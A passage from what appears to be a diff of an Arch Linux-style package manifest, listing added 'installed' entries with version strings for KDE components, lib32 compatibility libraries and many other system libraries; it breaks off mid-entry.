+installed = kcolorscheme-6.27.0-1.1-x86_64_v4 +installed = kcompletion-6.27.0-1.1-x86_64_v4 +installed = kconfig-6.27.0-1.1-x86_64_v4 +installed = kconfigwidgets-6.27.0-1.1-x86_64_v4 +installed = kcontacts-1:6.27.0-1.1-x86_64_v4 +installed = kcoreaddons-6.27.0-1.1-x86_64_v4 +installed = kcpuid-7.0.10-1-x86_64 +installed = kcrash-6.27.0-1.1-x86_64_v4 +installed = kdav-1:6.27.0-1.1-x86_64_v4 +installed = kdbusaddons-6.27.0-1.1-x86_64_v4 +installed = kddockwidgets-2.4.0-3.1-x86_64_v4 +installed = kde-cli-tools-6.6.5-1.1-x86_64_v4 +installed = kde-gtk-config-6.6.5-1.1-x86_64_v4 +installed = kdeclarative-6.27.0-1.1-x86_64_v4 +installed = kdeconnect-26.04.2-1.1-x86_64_v4 +installed = kdecoration-6.6.5-1.1-x86_64_v4 +installed = kded-6.27.0-1.1-x86_64_v4 +installed = kdegraphics-mobipocket-26.04.2-1.1-x86_64_v4 +installed = kdegraphics-thumbnailers-26.04.2-1.1-x86_64_v4 +installed = kdenetwork-filesharing-26.04.2-1.1-x86_64_v4 +installed = kdenlive-26.04.2-1.1-x86_64_v4 +installed = kdepim-runtime-26.04.2-1.1-x86_64_v4 +installed = kdeplasma-addons-6.6.5-1.1-x86_64_v4 +installed = kdesu-6.27.0-1.1-x86_64_v4 +installed = kdiskmark-3.2.0-2.1-x86_64_v4 +installed = kdnssd-6.27.0-1.1-x86_64_v4 +installed = kdoctools-6.27.0-1.1-x86_64_v4 +installed = kdsingleapplication-1.2.1-1.1-x86_64_v4 +installed = kdsoap-2.3.0-1-x86_64 +installed = kdsoap-ws-discovery-client-0.4.0-3.1-x86_64_v4 +installed = keepassxc-2.7.12-3.1-x86_64_v4 +installed = kernel-install-for-dracut-1.14.2-1-any +installed = keyutils-1.6.3-4.1-x86_64_v4 +installed = kfilemetadata-6.27.0-1.1-x86_64_v4 +installed = kgamma-6.6.5-1.1-x86_64_v4 +installed = kglobalaccel-6.27.0-1.1-x86_64_v4 +installed = kglobalacceld-6.6.5-1.1-x86_64_v4 +installed = kguiaddons-6.27.0-1.1-x86_64_v4 +installed = kholidays-1:6.27.0-1.1-x86_64_v4 +installed = ki18n-6.27.0-1.1-x86_64_v4 +installed = kiconthemes-6.27.0-1.1-x86_64_v4 +installed = kidentitymanagement-26.04.2-1.1-x86_64_v4 +installed = kidletime-6.27.0-1.1-x86_64_v4 +installed = killport-1.0.0-1-any +installed = kimageannotator-0.7.2-2-x86_64 +installed = kimageformats-6.27.0-1.1-x86_64_v4 +installed = kimap-26.04.2-1.1-x86_64_v4 +installed = kinfocenter-6.6.5-1.1-x86_64_v4 +installed = kio-6.27.0-1.1-x86_64_v4 +installed = kio-admin-26.04.2-1.1-x86_64_v4 +installed = kio-extras-26.04.2-1.1-x86_64_v4 +installed = kio-fuse-5.1.1-2.1-x86_64_v4 +installed = kirigami-6.27.0-1.1-x86_64_v4 +installed = kirigami-addons-1.12.1-1.1-x86_64_v4 +installed = kitemmodels-6.27.0-1.1-x86_64_v4 +installed = kitemviews-6.27.0-1.1-x86_64_v4 +installed = kjobwidgets-6.27.0-1.1-x86_64_v4 +installed = kldap-26.04.2-1.1-x86_64_v4 +installed = kmail-26.04.2-1.1-x86_64_v4 +installed = kmail-account-wizard-26.04.2-1.1-x86_64_v4 +installed = kmailtransport-26.04.2-1.1-x86_64_v4 +installed = kmbox-26.04.2-1.1-x86_64_v4 +installed = kmenuedit-6.6.5-1.1-x86_64_v4 +installed = kmime-26.04.2-1.1-x86_64_v4 +installed = kmod-34.2-1-x86_64 +installed = knewstuff-6.27.0-1.1-x86_64_v4 +installed = knighttime-6.6.5-1.1-x86_64_v4 +installed = knotifications-6.27.0-1.1-x86_64_v4 +installed = knotifyconfig-6.27.0-1.1-x86_64_v4 +installed = kolourpaint-26.04.2-1.1-x86_64_v4 +installed = konsole-26.04.2-1.1-x86_64_v4 +installed = kontactinterface-26.04.2-1.1-x86_64_v4 +installed = kpackage-6.27.0-1.1-x86_64_v4 +installed = kparts-6.27.0-1.1-x86_64_v4 +installed = kpeople-6.27.0-1.1-x86_64_v4 +installed = kpimtextedit-26.04.2-1.1-x86_64_v4 +installed = kpipewire-6.6.5-1.1-x86_64_v4 +installed = kpmcore-26.04.2-1.1-x86_64_v4 +installed = kpty-6.27.0-1.1-x86_64_v4 +installed = kquickcharts-6.27.0-1.1-x86_64_v4 +installed = kquickimageeditor-0.6.1-2.1-x86_64_v4 +installed = krb5-1.22.2-1.1-x86_64_v4 +installed = krdc-26.04.2-1.1-x86_64_v4 +installed = krdp-6.6.5-1.1-x86_64_v4 +installed = krfb-26.04.2-1.1-x86_64_v4 +installed = krita-6.0.2.1-1.1-x86_64_v4 +installed = krita-plugin-gmic-3.7.4.1-3.1-x86_64_v4 +installed = krunner-6.27.0-1.1-x86_64_v4 +installed = ksanecore-26.04.2-1.1-x86_64_v4 +installed = kscreen-6.6.5-1.1-x86_64_v4 +installed = kscreenlocker-6.6.5-1.1-x86_64_v4 +installed = kservice-6.27.0-1.1-x86_64_v4 +installed = ksmtp-26.04.2-1.1-x86_64_v4 +installed = ksshaskpass-6.6.5-1.1-x86_64_v4 +installed = kstatusnotifieritem-6.27.0-1.1-x86_64_v4 +installed = ksvg-6.27.0-1.1-x86_64_v4 +installed = ksystemstats-6.6.5-2.1-x86_64_v4 +installed = ktextaddons-2.0.2-1.1-x86_64_v4 +installed = ktexteditor-6.27.0-1.1-x86_64_v4 +installed = ktexttemplate-6.27.0-1.1-x86_64_v4 +installed = ktextwidgets-6.27.0-1.1-x86_64_v4 +installed = ktnef-26.04.2-1.1-x86_64_v4 +installed = kunifiedpush-26.04.2-1.1-x86_64_v4 +installed = kunitconversion-6.27.0-1.1-x86_64_v4 +installed = kuserfeedback-6.27.0-1.1-x86_64_v4 +installed = kvazaar-2.3.2-2.1-x86_64_v4 +installed = kwallet-6.27.0-1.1-x86_64_v4 +installed = kwallet-pam-6.6.5-1.1-x86_64_v4 +installed = kwayland-6.6.5-1.1-x86_64_v4 +installed = kwayland-integration-6.6.5-1.1-x86_64_v4 +installed = kwayland5-5.116.0-2.1-x86_64_v4 +installed = kwidgetsaddons-6.27.0-1.1-x86_64_v4 +installed = kwin-6.6.5-4.1-x86_64_v4 +installed = kwindowsystem-6.27.0-1.1-x86_64_v4 +installed = kwindowsystem5-5.116.0-2.1-x86_64_v4 +installed = kwrited-6.6.5-1.1-x86_64_v4 +installed = kxmlgui-6.27.0-1.1-x86_64_v4 +installed = l-smash-2.14.5-4.1-x86_64_v4 +installed = lact-0.9.0-1.1-x86_64_v4 +installed = ladspa-1.17-7.1-x86_64_v4 +installed = lame-3.101.r6531-1.1-x86_64_v4 +installed = lapack-3.12.1-2.1-x86_64_v4 +installed = layer-shell-qt-6.6.5-2.1-x86_64_v4 +installed = lcms2-2.19.1-1.1-x86_64_v4 +installed = ldb-2:4.24.3-1.1-x86_64_v4 +installed = leancrypto-1.7.2-1.1-x86_64_v4 +installed = legcord-bin-1.2.4-2-x86_64 +installed = lensfun-1:0.3.4-6.1-x86_64_v4 +installed = less-1:704-1.1-x86_64_v4 +installed = level-zero-loader-1.28.2-1-x86_64 +installed = lib32-aalib-1.4rc5-5-x86_64 +installed = lib32-alsa-lib-1.2.16-1-x86_64 +installed = lib32-alsa-plugins-1.2.12-1-x86_64 +installed = lib32-at-spi2-core-2.60.4-1-x86_64 +installed = lib32-attr-2.5.2-2-x86_64 +installed = lib32-audit-4.1.4-1-x86_64 +installed = lib32-brotli-1.1.0-1-x86_64 +installed = lib32-bzip2-1.0.8-4-x86_64 +installed = lib32-cairo-1.18.4-1-x86_64 +installed = lib32-cdparanoia-10.2-5-x86_64 +installed = lib32-colord-1.4.8-1-x86_64 +installed = lib32-curl-8.20.0-7-x86_64 +installed = lib32-dbus-1.16.2-1-x86_64 +installed = lib32-duktape-2.7.0-7-x86_64 +installed = lib32-e2fsprogs-1.47.4-1-x86_64 +installed = lib32-expat-2.8.1-1-x86_64 +installed = lib32-flac-1.5.0-1-x86_64 +installed = lib32-fontconfig-2:2.18.1-1-x86_64 +installed = lib32-freetype2-2.14.3-1-x86_64 +installed = lib32-fribidi-1.0.16-2-x86_64 +installed = lib32-gamemode-1.8.2-1-x86_64 +installed = lib32-gcc-libs-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = lib32-gdk-pixbuf2-2.44.6-2-x86_64 +installed = lib32-giflib-6.1.3-1-x86_64 +installed = lib32-glib-networking-1:2.80.1-1-x86_64 +installed = lib32-glib2-2.88.1-1-x86_64 +installed = lib32-glibc-2.43+r22+g8362e8ce10b2-4-x86_64_v4 +installed = lib32-gmp-6.3.0-2-x86_64 +installed = lib32-gnutls-3.8.13-3-x86_64 +installed = lib32-gpm-1.20.7.r38.ge82d1a6-2-x86_64 +installed = lib32-gst-plugins-base-libs-1.28.4-1-x86_64 +installed = lib32-gstreamer-1.28.4-1-x86_64 +installed = lib32-gtk3-1:3.24.52-1-x86_64 +installed = lib32-harfbuzz-14.2.1-1-x86_64 +installed = lib32-icu-78.3-1-x86_64 +installed = lib32-imlib2-1.12.6-1-x86_64 +installed = lib32-jack2-1.9.22-2-x86_64 +installed = lib32-json-c-0.18-2-x86_64 +installed = lib32-keyutils-1.6.3-4-x86_64 +installed = lib32-krb5-1.22.2-1-x86_64 +installed = lib32-lcms2-2.17-1-x86_64 +installed = lib32-libasyncns-1:0.8+r3+g68cd5af-3-x86_64 +installed = lib32-libavc1394-0.5.4-5-x86_64 +installed = lib32-libcaca-0.99.beta20-2-x86_64 +installed = lib32-libcap-2.78-1-x86_64 +installed = lib32-libcups-2.4.19-1-x86_64 +installed = lib32-libdatrie-0.2.13-3-x86_64 +installed = lib32-libdisplay-info-0.3.0-1-x86_64 +installed = lib32-libdrm-2.4.134-1-x86_64 +installed = lib32-libdv-1.0.0-9-x86_64 +installed = lib32-libelf-0.195-1-x86_64 +installed = lib32-libepoxy-1.5.10-2-x86_64 +installed = lib32-libffi-3.5.2-1-x86_64 +installed = lib32-libgcrypt-1.12.2-1-x86_64 +installed = lib32-libglvnd-1.7.0-1-x86_64 +installed = lib32-libgpg-error-1.61-1-x86_64 +installed = lib32-libgudev-238-3-x86_64 +installed = lib32-libidn2-2.3.8-1-x86_64 +installed = lib32-libiec61883-1.2.0-5-x86_64 +installed = lib32-libjpeg-turbo-3.1.4.1-1-x86_64 +installed = lib32-libldap-2.6.13-1-x86_64 +installed = lib32-libnghttp2-1.69.0-1-x86_64 +installed = lib32-libnghttp3-1.16.0-1-x86_64 +installed = lib32-libngtcp2-1.23.0-1-x86_64 +installed = lib32-libnm-1.56.1-1-x86_64 +installed = lib32-libnsl-2.0.1-2-x86_64 +installed = lib32-libogg-1.3.6-1-x86_64 +installed = lib32-libpciaccess-0.19-1-x86_64 +installed = lib32-libpipewire-1:1.6.6-1-x86_64 +installed = lib32-libpng-1.6.58-1-x86_64 +installed = lib32-libproxy-0.5.12-1-x86_64 +installed = lib32-libpsl-0.21.5-1-x86_64 +installed = lib32-libpulse-17.0+r98+gb096704c0-1-x86_64 +installed = lib32-libraw1394-2.1.2-5-x86_64 +installed = lib32-librsvg-2:2.62.3-1-x86_64 +installed = lib32-libsamplerate-0.2.2-3-x86_64 +installed = lib32-libshout-1:2.4.6-4-x86_64 +installed = lib32-libsndfile-1.2.2-3-x86_64 +installed = lib32-libsoup3-3.6.6-2-x86_64 +installed = lib32-libssh2-1.11.1-1-x86_64 +installed = lib32-libtasn1-4.21.0-1-x86_64 +installed = lib32-libthai-0.1.29-3-x86_64 +installed = lib32-libtheora-1.2.0-1-x86_64 +installed = lib32-libtiff-4.7.1-1-x86_64 +installed = lib32-libtirpc-1.3.7-1-x86_64 +installed = lib32-libunistring-1.4.2-1-x86_64 +installed = lib32-libunwind-1.8.2-1-x86_64 +installed = lib32-libusb-1.0.30-1-x86_64 +installed = lib32-libva-2.22.0-1-x86_64 +installed = lib32-libva-intel-driver-2.4.1-2-x86_64 +installed = lib32-libvorbis-1.3.7-4-x86_64 +installed = lib32-libvpx-1.16.0-2-x86_64 +installed = lib32-libx11-1.8.13-1-x86_64 +installed = lib32-libxau-1.0.12-1-x86_64 +installed = lib32-libxcb-1.17.0-1-x86_64 +installed = lib32-libxcomposite-0.4.7-1-x86_64 +installed = lib32-libxcrypt-4.5.2-1-x86_64 +installed = lib32-libxcrypt-compat-4.5.2-1-x86_64 +installed = lib32-libxcursor-1.2.3-1-x86_64 +installed = lib32-libxdamage-1.1.7-1-x86_64 +installed = lib32-libxdmcp-1.1.5-1-x86_64 +installed = lib32-libxext-1.3.7-1-x86_64 +installed = lib32-libxfixes-6.0.1-2-x86_64 +installed = lib32-libxft-2.3.9-1-x86_64 +installed = lib32-libxi-1.8.3-1-x86_64 +installed = lib32-libxinerama-1.1.6-1-x86_64 +installed = lib32-libxkbcommon-1.13.2-1-x86_64 +installed = lib32-libxml2-2.15.3-1-x86_64 +installed = lib32-libxrandr-1.5.5-1-x86_64 +installed = lib32-libxrender-0.9.11-2-x86_64 +installed = lib32-libxshmfence-1.3.3-1-x86_64 +installed = lib32-libxslt-1.1.45-1-x86_64 +installed = lib32-libxss-1.2.5-1-x86_64 +installed = lib32-libxtst-1.2.5-2-x86_64 +installed = lib32-libxv-1.0.12-2-x86_64 +installed = lib32-libxxf86vm-1.1.5-2-x86_64 +installed = lib32-llvm-libs-1:22.1.6-1-x86_64 +installed = lib32-lm_sensors-1:3.6.2-2-x86_64 +installed = lib32-mesa-2:26.1.2-1-x86_64 +installed = lib32-mpg123-1.33.5-1-x86_64 +installed = lib32-ncurses-6.6-2-x86_64 +installed = lib32-nettle-4.0-2-x86_64 +installed = lib32-nspr-4.39-1-x86_64 +installed = lib32-nss-3.125-1-x86_64 +installed = lib32-ocl-icd-2.3.3-1-x86_64 +installed = lib32-openal-1.25.2-1-x86_64 +installed = lib32-openssl-1:3.6.3-1-x86_64 +installed = lib32-opus-1.6.1-1-x86_64 +installed = lib32-orc-0.4.42-1-x86_64 +installed = lib32-p11-kit-0.26.2-1-x86_64 +installed = lib32-pam-1.7.1-1-x86_64 +installed = lib32-pango-1:1.57.1-1-x86_64 +installed = lib32-pcre2-10.47-1-x86_64 +installed = lib32-pcsclite-2.5.1-1-x86_64 +installed = lib32-pipewire-1:1.6.6-1-x86_64 +installed = lib32-pixman-0.46.4-1-x86_64 +installed = lib32-polkit-127-1-x86_64 +installed = lib32-popt-1.19-2-x86_64 +installed = lib32-rust-libs-1:1.96.0-1.1-x86_64_v4 +installed = lib32-sdl2-compat-2.32.70-1-x86_64 +installed = lib32-sdl3-3.4.10-1-x86_64 +installed = lib32-speex-1.2.1-2-x86_64 +installed = lib32-spirv-tools-1:1.4.350.0-1-x86_64 +installed = lib32-sqlite-3.53.2-1-x86_64 +installed = lib32-systemd-260.2-1-x86_64 +installed = lib32-taglib-2.3-1-x86_64 +installed = lib32-twolame-0.4.0-3-x86_64 +installed = lib32-util-linux-2.42.1-1-x86_64 +installed = lib32-v4l-utils-1.32.0-1-x86_64 +installed = lib32-vkd3d-1.19-1-x86_64 +installed = lib32-vulkan-icd-loader-1.4.350.0-1-x86_64 +installed = lib32-vulkan-intel-2:26.1.2-1-x86_64 +installed = lib32-vulkan-mesa-implicit-layers-2:26.1.2-1-x86_64 +installed = lib32-vulkan-mesa-layers-2:26.1.2-1-x86_64 +installed = lib32-vulkan-radeon-2:26.1.2-1-x86_64 +installed = lib32-wavpack-5.9.0-1-x86_64 +installed = lib32-wayland-1.25.0-1-x86_64 +installed = lib32-xcb-util-keysyms-0.4.1-2-x86_64 +installed = lib32-xz-5.8.3-1-x86_64 +installed = lib32-zlib-ng-2.3.3-2-x86_64_v4 +installed = lib32-zlib-ng-compat-2.3.3-2-x86_64_v4 +installed = lib32-zstd-1.5.7-2-x86_64_v4 +installed = libaccounts-glib-1.27-3.1-x86_64_v4 +installed = libaccounts-qt-1.17-2.1-x86_64_v4 +installed = libadwaita-1:1.9.1-1-x86_64 +installed = libaec-1.1.7-1.1-x86_64_v4 +installed = libaemu-0.1.2-5.1-x86_64_v4 +installed = libaio-0.3.113-4.1-x86_64_v4 +installed = libajantv2-1:17.5.0-1-x86_64 +installed = libao-1.2.2-7.1-x86_64_v4 +installed = libappimage-1.0.4.5-14.1-x86_64_v4 +installed = libappindicator-12.10.1-1-x86_64 +installed = libarchive-3.8.7-1.1-x86_64_v4 +installed = libasan-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libass-0.17.4-2.1-x86_64_v4 +installed = libassuan-3.0.0-1.1-x86_64_v4 +installed = libasyncns-1:0.8+r3+g68cd5af-3.1-x86_64_v4 +installed = libatasmart-0.19-8.1-x86_64_v4 +installed = libation-13.4.5-1-x86_64 +installed = libatomic-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libavc1394-0.5.4-7.1-x86_64_v4 +installed = libavif-1.4.2-1.1-x86_64_v4 +installed = libavtp-0.2.0-3.1-x86_64_v4 +installed = libayatana-appindicator-0.5.94-1.2-x86_64_v4 +installed = libayatana-indicator-0.9.4-2.1-x86_64_v4 +installed = libb2-0.98.1-3.1-x86_64_v4 +installed = libblake3-1.8.4-1.1-x86_64_v4 +installed = libblockdev-3.5.0-2.1-x86_64_v4 +installed = libblockdev-crypto-3.5.0-2.1-x86_64_v4 +installed = libblockdev-fs-3.5.0-2.1-x86_64_v4 +installed = libblockdev-loop-3.5.0-2.1-x86_64_v4 +installed = libblockdev-mdraid-3.5.0-2.1-x86_64_v4 +installed = libblockdev-nvme-3.5.0-2.1-x86_64_v4 +installed = libblockdev-part-3.5.0-2.1-x86_64_v4 +installed = libblockdev-smart-3.5.0-2.1-x86_64_v4 +installed = libblockdev-swap-3.5.0-2.1-x86_64_v4 +installed = libbluray-1.4.1-1.1-x86_64_v4 +installed = libbpf-1.7.0-1.1-x86_64_v4 +installed = libbs2b-3.1.0-10.1-x86_64_v4 +installed = libbsd-0.12.2-2.1-x86_64_v4 +installed = libburn-1.5.8-1.1-x86_64_v4 +installed = libbytesize-2.12-3.1-x86_64_v4 +installed = libcaca-0.99.beta20-7.1-x86_64_v4 +installed = libcacard-2.8.1-1.1-x86_64_v4 +installed = libcanberra-1:0.30+r2+gc0620e4-6.1-x86_64_v4 +installed = libcap-2.78-1.1-x86_64_v4 +installed = libcap-ng-0.9.3-1.1-x86_64_v4 +installed = libcbor-0.14.0-1.1-x86_64_v4 +installed = libcddb-1.3.2-9.2-x86_64_v4 +installed = libcdio-2.3.0-1.1-x86_64_v4 +installed = libcdio-paranoia-10.2+2.0.2-2.1-x86_64_v4 +installed = libcdr-0.1.9-1.1-x86_64_v4 +installed = libcgif-0.5.3-1.1-x86_64_v4 +installed = libcloudproviders-0.4.0-1.1-x86_64_v4 +installed = libcmatrix-0.0.4-2.1-x86_64_v4 +installed = libcolord-1.4.8-1-x86_64 +installed = libconfig-1.8.2-2.1-x86_64_v4 +installed = libcpuid-0.8.1-1.1-x86_64_v4 +installed = libcups-2:2.4.19-1-x86_64 +installed = libcupsfilters-2.1.1-4.4-x86_64_v4 +installed = libcurl-gnutls-8.20.0-7-x86_64 +installed = libdaemon-0.14-6.3-x86_64_v4 +installed = libdatachannel-0.24.3-2.1-x86_64_v4 +installed = libdatrie-0.2.14-1.1-x86_64_v4 +installed = libdbusmenu-glib-18.10.20180917-1-x86_64 +installed = libdbusmenu-gtk3-18.10.20180917-1-x86_64 +installed = libdc1394-2.2.7-2.1-x86_64_v4 +installed = libdca-0.0.7-3.1-x86_64_v4 +installed = libde265-1.1.1-1.1-x86_64_v4 +installed = libdecor-0.2.5-1.1-x86_64_v4 +installed = libdeflate-1.25-1.1-x86_64_v4 +installed = libdispatch-6.2.2-1.1-x86_64_v4 +installed = libdisplay-info-0.3.0-1.1-x86_64_v4 +installed = libdmtx-0.7.8-1.1-x86_64_v4 +installed = libdovi-3.3.2-1.1-x86_64_v4 +installed = libdrm-2.4.134-1.1-x86_64_v4 +installed = libdv-1.0.0-12.1-x86_64_v4 +installed = libdvbpsi-1:1.3.3-4-x86_64 +installed = libdvdcss-1.5.0-1.1-x86_64_v4 +installed = libdvdnav-7.0.0-1.1-x86_64_v4 +installed = libdvdread-7.0.1-1.1-x86_64_v4 +installed = libebml-1.4.5-2.1-x86_64_v4 +installed = libebur128-1.2.6-2.1-x86_64_v4 +installed = libedit-20260512_3.1-1.1-x86_64_v4 +installed = libei-1.6.0-1-x86_64 +installed = libelf-0.195-1-x86_64 +installed = libepoxy-1.5.10-3.1-x86_64_v4 +installed = libev-4.33-5.1-x86_64_v4 +installed = libevdev-1.13.6-1.1-x86_64_v4 +installed = libevent-2.1.12-5.1-x86_64_v4 +installed = libewf-20140816-1-x86_64 +installed = libexif-0.6.26-1.1-x86_64_v4 +installed = libfabric-2.5.1-1.1-x86_64_v4 +installed = libfakekey-0.3-4.1-x86_64_v4 +installed = libfdk-aac-2.0.3-2.1-x86_64_v4 +installed = libffi-3.5.2-1.1-x86_64_v4 +installed = libfido2-1.17.0-1.1-x86_64_v4 +installed = libfilteraudio-0.0.1-7.1-x86_64_v4 +installed = libfontenc-1.1.9-1.1-x86_64_v4 +installed = libfreeaptx-0.2.2-1.1-x86_64_v4 +installed = libfreehand-0.1.3-1.1-x86_64_v4 +installed = libftdi-1.5-10.1-x86_64_v4 +installed = libfyaml-0.9.6-2.1-x86_64_v4 +installed = libgcc-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libgcrypt-1.12.2-1.1-x86_64_v4 +installed = libgee-0.20.8-1.1-x86_64_v4 +installed = libgexiv2-0.14.6-2.1-x86_64_v4 +installed = libgfortran-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libgirepository-1.86.0-2.1-x86_64_v4 +installed = libgit2-1:1.9.4-1.1-x86_64_v4 +installed = libglvnd-1.7.0-3.1-x86_64_v4 +installed = libgme-0.6.5-1.1-x86_64_v4 +installed = libgoa-3.58.1-1.1-x86_64_v4 +installed = libgomp-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libgoom2-2k4-5-x86_64 +installed = libgpg-error-1.61-1.1-x86_64_v4 +installed = libgphoto2-2.5.34-1.1-x86_64_v4 +installed = libgpiod-2.2.4-1.1-x86_64_v4 +installed = libgravatar-26.04.2-1.1-x86_64_v4 +installed = libgsf-1.14.58-1.1-x86_64_v4 +installed = libgudev-238-3.1-x86_64_v4 +installed = libguestfs-1.58.1-3-x86_64 +installed = libgusb-0.4.9-2.1-x86_64_v4 +installed = libgweather-4-4.6.0-1.2-x86_64_v4 +installed = libharu-2.4.6-1.1-x86_64_v4 +installed = libheif-1.23.0-1.1-x86_64_v4 +installed = libibus-1.5.34-1.1-x86_64_v4 +installed = libical-4.0.2-1.1-x86_64_v4 +installed = libice-1.1.2-1.1-x86_64_v4 +installed = libid3tag-0.16.4-1.1-x86_64_v4 +installed = libidn-1.43-1.1-x86_64_v4 +installed = libidn2-2.3.8-1.1-x86_64_v4 +installed = libiec61883-1.2.0-9.1-x86_64_v4 +installed = libieee1284-0.2.11-19.1-x86_64_v4 +installed = libimagequant-4.4.1-2-x86_64 +installed = libimobiledevice-1.4.0-2.2-x86_64_v4 +installed = libimobiledevice-glue-1.3.2-1.3-x86_64_v4 +installed = libinih-62-2.1-x86_64_v4 +installed = libinput-1.31.3-1.1-x86_64_v4 +installed = libiscsi-1.20.3-1.1-x86_64_v4 +installed = libisl-0.27-1.1-x86_64_v4 +installed = libisoburn-1.5.8.2-1.1-x86_64_v4 +installed = libisofs-1.5.8.2-1.1-x86_64_v4 +installed = libjcat-0.2.6-1.1-x86_64_v4 +installed = libjpeg-turbo-3.1.4.1-1.1-x86_64_v4 +installed = libjuice-1.7.2-1.1-x86_64_v4 +installed = libjxl-0.11.2-2.1-x86_64_v4 +installed = libkate-0.4.3-4.1-x86_64_v4 +installed = libkdcraw-26.04.2-1-x86_64 +installed = libkdepim-26.04.2-1.1-x86_64_v4 +installed = libkexiv2-26.04.2-1.1-x86_64_v4 +installed = libkgapi-26.04.2-1.1-x86_64_v4 +installed = libkleo-26.04.2-1.1-x86_64_v4 +installed = libksane-26.04.2-1.1-x86_64_v4 +installed = libksba-1.8.0-1.1-x86_64_v4 +installed = libkscreen-6.6.5-1.1-x86_64_v4 +installed = libksieve-26.04.2-1.1-x86_64_v4 +installed = libksysguard-6.6.5-2-x86_64 +installed = liblc3-1.1.3-2.1-x86_64_v4 +installed = libldac-2.0.2.3-3.1-x86_64_v4 +installed = libldap-2.6.13-1-x86_64 +installed = libldm-0.2.5-3.1-x86_64_v4 +installed = liblo-1:0.35-1.1-x86_64_v4 +installed = liblouis-3.38.0-1.1-x86_64_v4 +installed = liblqr-0.4.3-1.1-x86_64_v4 +installed = liblrdf-0.6.1-5.1-x86_64_v4 +installed = liblsan-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libltc-1.3.2-2.1-x86_64_v4 +installed = libmad-0.15.1b-10.1-x86_64_v4 +installed = libmakepkg-dropins-20-1-any +installed = libmalcontent-0.14.0-4-x86_64 +installed = libmanette-0.2.13-2.1-x86_64_v4 +installed = libmatroska-1.7.1-2.1-x86_64_v4 +installed = libmaxminddb-1.13.3-1.1-x86_64_v4 +installed = libmbim-1.34.0-1.1-x86_64_v4 +installed = libmd-1.2.0-1.1-x86_64_v4 +installed = libmfx-23.2.2-6-x86_64 +installed = libmicrodns-0.2.0-2.1-x86_64_v4 +installed = libmicrohttpd-1.0.5-1.1-x86_64_v4 +installed = libmm-glib-1.24.2-1.1-x86_64_v4 +installed = libmng-2.0.3-4.1-x86_64_v4 +installed = libmnl-1.0.5-2.1-x86_64_v4 +installed = libmodplug-0.8.9.0-7.1-x86_64_v4 +installed = libmpc-1.4.1-1.1-x86_64_v4 +installed = libmpcdec-1:0.1+r475-6-x86_64 +installed = libmpeg2-0.5.1-11.1-x86_64_v4 +installed = libmspack-1:1.11-2.1-x86_64_v4 +installed = libmspub-0.1.5-1.1-x86_64_v4 +installed = libmtp-1.1.23-1.1-x86_64_v4 +installed = libmypaint-1.6.1-2.1-x86_64_v4 +installed = libmysofa-1.3.4-1.1-x86_64_v4 +installed = libnatpmp-20230423-3.1-x86_64_v4 +installed = libnbd-1.24.2-2.1-x86_64_v4 +installed = libndp-1.9-1.1-x86_64_v4 +installed = libnet-2:1.3-2.1-x86_64_v4 +installed = libnetfilter_conntrack-1.1.1-1.1-x86_64_v4 +installed = libnetfilter_queue-1.0.5-2.1-x86_64_v4 +installed = libnewt-0.52.25-2.1-x86_64_v4 +installed = libnfc-1.8.0-3.1-x86_64_v4 +installed = libnfnetlink-1.0.2-2.1-x86_64_v4 +installed = libnfs-6.0.2-5.1-x86_64_v4 +installed = libnftnl-1.3.1-1.1-x86_64_v4 +installed = libnghttp2-1.69.0-1.1-x86_64_v4 +installed = libnghttp3-1.16.0-1.1-x86_64_v4 +installed = libngtcp2-1.23.0-1.1-x86_64_v4 +installed = libnice-0.1.23-1.1-x86_64_v4 +installed = libnih-1.0.3-5.1-x86_64_v4 +installed = libnl-3.12.0-1.1-x86_64_v4 +installed = libnm-1.56.1-1-x86_64 +installed = libnma-1.10.6-3.1-x86_64_v4 +installed = libnma-common-1.10.6-3.1-x86_64_v4 +installed = libnotify-0.8.8-1.1-x86_64_v4 +installed = libnsl-2.0.1-2.1-x86_64_v4 +installed = libnss_nis-3.4-1.1-x86_64_v4 +installed = libntfs-3g-2026.2.25-1.1-x86_64_v4 +installed = libnvme-1.16.1-3.1-x86_64_v4 +installed = libobjc-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libogg-1.3.6-1.1-x86_64_v4 +installed = liboggz-1.1.3-1.1-x86_64_v4 +installed = libolm-3.2.16-6.1-x86_64_v4 +installed = libomemo-c-0.5.1-1.1-x86_64_v4 +installed = libopenmpt-0.8.7-1.1-x86_64_v4 +installed = libopenraw-0.3.7-2.1-x86_64_v4 +installed = libosinfo-1.12.0-3.1-x86_64_v4 +installed = libp11-0.4.18-1.1-x86_64_v4 +installed = libp11-kit-0.26.2-1.1-x86_64_v4 +installed = libpagemaker-0.0.4-5.1-x86_64_v4 +installed = libpaper-2.2.8-1.1-x86_64_v4 +installed = libpcap-1.10.6-1.1-x86_64_v4 +installed = libpciaccess-0.19-1.1-x86_64_v4 +installed = libpfm-4.13.0+r83+g91970fe-1.1-x86_64_v4 +installed = libpgm-5.3.128-4.1-x86_64_v4 +installed = libphonenumber-1:9.0.32-2.1-x86_64_v4 +installed = libpipeline-1.5.8-1.1-x86_64_v4 +installed = libpipewire-1:1.6.6-1.1-x86_64_v4 +installed = libplacebo-7.360.1-2.1-x86_64_v4 +installed = libplasma-6.6.5-1.1-x86_64_v4 +installed = libplist-2.7.0-3.1-x86_64_v4 +installed = libpng-1.6.58-1.1-x86_64_v4 +installed = libppd-2.1.1-2.1-x86_64_v4 +installed = libproxy-0.5.12-1.1-x86_64_v4 +installed = libpsl-0.21.5-2.1-x86_64_v4 +installed = libpulse-17.0+r98+gb096704c0-1.2-x86_64_v4 +installed = libpwquality-1.4.5-7.3-x86_64_v4 +installed = libqaccessibilityclient-qt6-0.6.0-4-x86_64 +installed = libqalculate-5.11.0-1.1-x86_64_v4 +installed = libqmi-1.38.0-1.1-x86_64_v4 +installed = libqrtr-glib-1.4.0-1.1-x86_64_v4 +installed = libquadmath-16.1.1+r12+g301eb08fa2c5-2-x86_64_v4 +installed = libquotient-0.9.6.1-2.1-x86_64_v4 +installed = libqxp-0.0.3-1.1-x86_64_v4 +installed = libraqm-0.10.5-1.1-x86_64_v4 +installed = 